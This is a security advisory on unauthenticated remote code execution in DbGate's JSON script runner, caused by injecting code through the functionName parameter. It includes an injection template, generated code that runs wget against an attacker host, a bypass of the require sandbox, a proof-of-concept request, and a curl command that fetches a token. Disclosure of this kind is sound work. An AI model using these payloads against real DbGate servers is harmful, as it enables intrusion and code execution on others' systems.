Description

DbGate: Unauthenticated Remote Code Execution via JSON Script Runner

Summary

DbGate's JSON script runner (POST /runners/start) allows remote code execution via code injection in the functionName parameter of JSON script assign commands. The functionName value is interpolated directly into dynamically generated JavaScript source code via string concatenation. The generated code is then executed in a forked Node.js child process.

Details

Step 1: User Input Entry Point

File: packages/api/src/controllers/runners.js - start() method

The /runners/start endpoint accepts a POST body containing a script object. When script.type == 'json', the request follows a different code path than raw shell scripts:

async start({ script }, req) {
    if (script.type == 'json') {
        if (!platformInfo.isElectron) {
            if (!checkSecureDirectoriesInScript(script)) {
                return { errorMessage: 'Unallowed directories in script' };
            }
        }
        logJsonRunnerScript(req, script);...
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This path skips:

The run-shell-script permission check

The allowShellScripting platform-level check

The only validation performed is checkSecureDirectoriesInScript(), which props.fileName values

Step 2: JSON-to-JavaScript Conversion (Injection Point)

File: packages/tools/src/ScriptWriter.ts - assignCore() method

The JSON script's commands array contains objects with type: "assign". The assignCore method generates JavaScript by direct string concatenation of user-controlled values:

assignCore(variableName, functionName, props) {
    this._put(`const ${variableName} = await ${functionName}(${JSON.stringify(props)});`);
}

Both variableName and functionName are attacker-controlled values taken directly from the JSON request body and interpolated into the generated JavaScript source code.

Step 3: Function Name Compilation

File: packages/tools/src/packageTools.ts - compileShellApiFunctionName()

Before interpolation, functionName passes through this function:

export function compileShellApiFunctionName(functionName) {
    const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);
    if (nsMatch) {
        return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;
    }
    return `dbgateApi.${functionName}`;
}

An attacker supplying functionName: "x;MALICIOUS_CODE;//" gets:

dbgateApi.x;MALICIOUS_CODE;//

This is syntactically valid JavaScript: dbgateApi.x evaluates (and is discarded), MALICIOUS_CODE executes, and // comments out the trailing (${JSON.stringify(props)});.

Step 4: Generated JavaScript Template

The complete generated script that gets executed:

const dbgateApi = require(process.env.DBGATE_API);
require = null;
async function run() {
    const x = await dbgateApi.x;process.mainModule.require('child_process').execSync('wget <attacker host>');//({});
    await dbgateApi.finalizer.run();
}
dbgateApi.runScript(run);

Step 5: Execution via child_process.fork()

File: packages/api/src/controllers/runners.js - startCore() method

The generated JavaScript string is written to a temporary file and executed as a new Node.js process via child_process.fork(). This provides the attacker with a full Node.js runtime, including access to process, child_process, fs, net, and all other Node.js built-in modules.

The require = null sandbox can be bypassed via:

process.mainModule.require() - separate reference unaffected by the null assignment

module.constructor._load() - internal module loader, also unaffected

Additional Injection Points

The same unsanitised string interpolation pattern exists in:

PoC

POST /runners/start HTTP/1.1
Host: <dbgate-instance>:3000
Authorization: Bearer <token>
Content-Type: application/json

{
  "script": {
    "type": "json",...
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The request to the out of band host was as follows:

POST / HTTP/1.1
Host: <out of band host>
User-Agent: Wget/1.21.3
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 251...
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A bearer token is required to reach the endpoint, but in what appears to be the default deployment, authentication is disabled. Authentication needs to be explicitly set via environment variables. If this has not been explicitly set, per the defaults, a token can be retrieved using:

curl -sk -H "Content-Type: application/json"   -d '{"amoid":"none"}'   <dbgate-instance>:3000/auth/login

Impact

Timeline

Acknowledgements

Discovery assisted by Neo from @ProjectDiscovery

Initial research direction inspired by @H0j3n — https://github.com/runZeroInc/nuclei-templates/blob/main/http/vulnerabilities/dbgate-unauth-rce.yaml

Mitigation

Aliases

References